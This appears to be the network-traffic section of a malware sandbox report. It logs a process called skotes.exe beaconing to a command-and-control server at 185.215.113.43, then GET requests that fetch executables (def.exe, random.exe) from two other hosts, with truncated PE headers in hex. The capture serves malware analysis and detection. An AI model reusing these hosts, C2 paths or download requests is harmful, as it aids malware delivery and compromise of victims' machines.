20	192.168.2.4	49913	185.215.113.43	80	5740	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 18:22:58.457223892 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 18:22:59.719890118 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 17:22:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49925	185.215.113.43	80	5740	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 18:23:01.564021111 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 46 37 39 42 37 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB22F79B75082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 18:23:03.126247883 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 17:23:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	49934	185.215.113.43	80	5740	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 18:23:05.134552956 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 18:23:06.938416004 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 17:23:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	49941	185.215.113.43	80	5740	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 18:23:08.620767117 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 46 37 39 42 37 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB22F79B75082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 18:23:10.012593985 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 17:23:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	49957	185.215.113.43	80	5740	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 18:23:13.011188030 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 18:23:14.343621016 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 17:23:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	49959	185.215.113.16	80	4428	C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 18:23:13.011333942 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Nov 23, 2024 18:23:14.334302902 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 17:23:14 GMT Content-Type: application/octet-stream Content-Length: 2784256 Last-Modified: Sat, 23 Nov 2024 16:30:17 GMT Connection: keep-alive ETag: "67420319-2a7c00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 e0 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 2b 00 00 04 00 00 d0 ae 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$* `@ +`Ui` @ @.rsrc`2@.idata 8@lwvfpqpj :@nnhflwrw V@.taggant@"Z*@
Nov 23, 2024 18:23:14.334467888 CET	124	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 18:23:14.334940910 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 18:23:14.335007906 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 18:23:14.335016966 CET	248	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 18:23:14.335769892 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 18:23:14.335788965 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 18:23:14.335797071 CET	248	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 18:23:14.336939096 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 18:23:14.336951017 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 18:23:14.560051918 CET	1236	IN	Data Raw: 0d a2 ab 5f 19 e4 6d 0e 35 04 d8 65 54 f3 9f 4a eb 54 7a 36 f8 bf b3 63 6b f9 52 3b 65 09 e7 70 5a ce 80 31 78 ee 93 8d 31 e8 2a 47 41 fb 93 40 f8 d4 64 35 06 67 6f 2c 3f c4 4e b2 fc e2 e4 29 ef d5 87 01 34 c4 4b 92 9c f1 bd b1 fc e2 e4 9b ed d9 Data Ascii: _m5eTJTz6ckR;epZ1x1*GA@d5go,?N)4K/q0:iO:ke1Oo.]V{B4uTF0fipzC-3?V{+n9fWjp=h(iNNKEQCq_G1q

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	49969	185.215.113.43	80	5740	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 18:23:16.037332058 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 46 37 39 42 37 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB22F79B75082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 18:23:17.509952068 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 17:23:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	49983	185.215.113.43	80	5740	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 18:23:19.294348001 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 18:23:20.716103077 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 17:23:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	50002	185.215.113.43	80	5740	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 18:23:24.048960924 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 18:23:25.504039049 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 17:23:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	50010	185.215.113.43	80	5740	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 18:23:27.158090115 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 46 37 39 42 37 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB22F79B75082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 18:23:28.595160961 CET	283	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 17:23:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 35 64 0d 0a 20 3c 63 3e 31 30 30 38 34 38 37 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 64 39 37 65 39 63 34 35 34 33 62 33 31 64 65 31 35 34 34 31 23 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 5d <c>1008487001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbd97e9c4543b31de15441#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.4	50016	31.41.244.11	80	5740	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 18:23:28.738125086 CET	54	OUT	GET /files/random.exe HTTP/1.1 Host: 31.41.244.11
Nov 23, 2024 18:23:30.165086031 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 17:23:29 GMT Content-Type: application/octet-stream Content-Length: 4384256 Last-Modified: Sat, 23 Nov 2024 17:21:55 GMT Connection: keep-alive ETag: "67420f33-42e600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 e9 85 3c 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 fc 49 00 00 96 73 00 00 32 00 00 00 40 c4 00 00 10 00 00 00 10 4a 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 70 c4 00 00 04 00 00 e5 15 43 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f 00 71 00 73 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 18 23 c4 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c8 22 c4 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL<g(Is2@J@pC@ _qs#" px'@.rsrc p'@.idata q'@ 7q'@pcnvptyg@4'@tgxkadws0B@.taggant0@"B@
Nov 23, 2024 18:23:30.165169001 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 18:23:30.165184975 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 18:23:30.165199995 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 18:23:30.165290117 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 18:23:30.165357113 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: VL^d$\SLt+9x=6`k
Nov 23, 2024 18:23:30.165371895 CET	448	IN	Data Raw: d7 d4 d9 51 8d 69 1b 62 03 55 11 86 d2 dd 33 17 4a e7 51 12 0b 45 db b5 cf 99 44 6f 33 8c 48 07 e7 98 43 7e a5 e4 c7 d6 06 1f e2 ff ae 92 df 65 76 7e 17 c9 8b d9 0e 70 f8 88 88 5e b1 1d be ad c7 8d 7a 73 09 9f 4b fd 65 dc ba cb d8 07 55 4b a3 5f Data Ascii: QibU3JQEDo3HC~ev~p^zsKeUK_kGN:6}#vKuV8.hE^hIdK<P\]Eu%_:bGw{-w-N9xDBJI\|\|Z/m9Pw!5m
Nov 23, 2024 18:23:30.165389061 CET	1236	IN	Data Raw: f0 36 b3 a1 75 e7 71 25 bf 1e 74 a3 80 e6 78 3a 20 5d ab a7 7c ea aa 76 6f d9 b7 ce 6c f6 14 21 2d 59 46 b9 35 ec 36 69 2c e9 e8 e7 9b a0 46 05 11 70 49 da 55 0d e1 37 03 b8 ba 42 af 69 d5 03 96 5f 26 cb 9e a6 9c cf 19 f0 64 0f d3 c6 c9 26 17 fd Data Ascii: 6uq%tx: ]\|vol!-YF56i,FpIU7Bi_&d&yk8>mi9F;_y4W2)<6HQ G{M_><h%$)3BI{]tnGz,j'$Ig H\|{l21AS5DvT@G%b
Nov 23, 2024 18:23:30.165503979 CET	1236	IN	Data Raw: 0d 69 af 9c 6e 4c cb 9c 20 fd 2d 66 2f 72 7c 7a f2 cd 61 a7 75 29 f5 8b f2 1a a0 d5 f8 80 08 7a 2f ee b2 d9 fa 10 f6 4a 4a a5 71 25 43 f9 0b 8d 09 87 48 4f ea 68 40 91 17 f9 a0 f6 61 c8 68 71 24 95 ff 7c 35 c0 bc 56 2f a9 6b bd 01 ee fb bb 0e f3 Data Ascii: inL -f/r\|zau)z/JJq%CHOh@ahq$\|5V/kxIKm%P[H^TgtwO1`E8nNH4oJ5R.O/,CL55j}w#$5S=P\|(}MWkE,y{[e\|aH<
Nov 23, 2024 18:23:30.165518999 CET	448	IN	Data Raw: 1b ad eb 34 30 da c8 02 03 98 dc eb 2f 9c be 99 fc e3 b2 42 cf ff b2 94 f4 2c bc 9f 9e e9 d0 04 fe 40 40 57 d5 3a 99 5a 21 27 84 db 5d 3e b1 d5 b5 c3 b0 bd b8 28 87 c6 40 0d 29 33 df b9 bf 65 e2 cd 4f dc ad 03 e9 c4 af 41 68 11 70 bf 8c 47 5a cf Data Ascii: 40/B,@@W:Z!']>(@)3eOAhpGZOH1<Pml\hXY2i@X\|~ Q,bx>Id>I$;kWJ%&!%QFiZ:^OCF$* +fuD"!8mHHp=Q
Nov 23, 2024 18:23:30.310843945 CET	1236	IN	Data Raw: fd 70 68 cc cf 57 5f 8f 9e d5 fb 5e 87 9f c8 ab 5e 2d 42 34 2f 3b af e2 48 e9 70 0a 13 1c d3 46 6d d6 33 9b fb ea 38 94 f4 c9 3b ae c7 97 c5 d5 b9 64 85 d8 b3 51 70 8a 0e 95 78 58 45 d5 61 e6 14 ec 6d d1 4b 26 65 15 21 f8 d3 3a 2f da 02 c7 8d bd Data Ascii: phW_^^-B4/;HpFm38;dQpxXEamK&e!:/w*Lm+@,H&@=E?2Wi>]IsmJx`GHyZv1Id[,Y-T9FgRP0N9ltAK(u'572=k3!

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.4	50028	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 18:23:30.078568935 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 23, 2024 18:23:31.167421103 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Fri, 22 Nov 2024 23:05:23 GMT Age: 65888 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.4	50041	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 18:23:31.298043966 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 23, 2024 18:23:32.438519001 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sat, 23 Nov 2024 00:44:18 GMT Age: 59954 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 23, 2024 18:23:32.777928114 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 23, 2024 18:23:33.245275974 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sat, 23 Nov 2024 00:44:18 GMT Age: 59955 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.4	50045	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 18:23:31.658198118 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
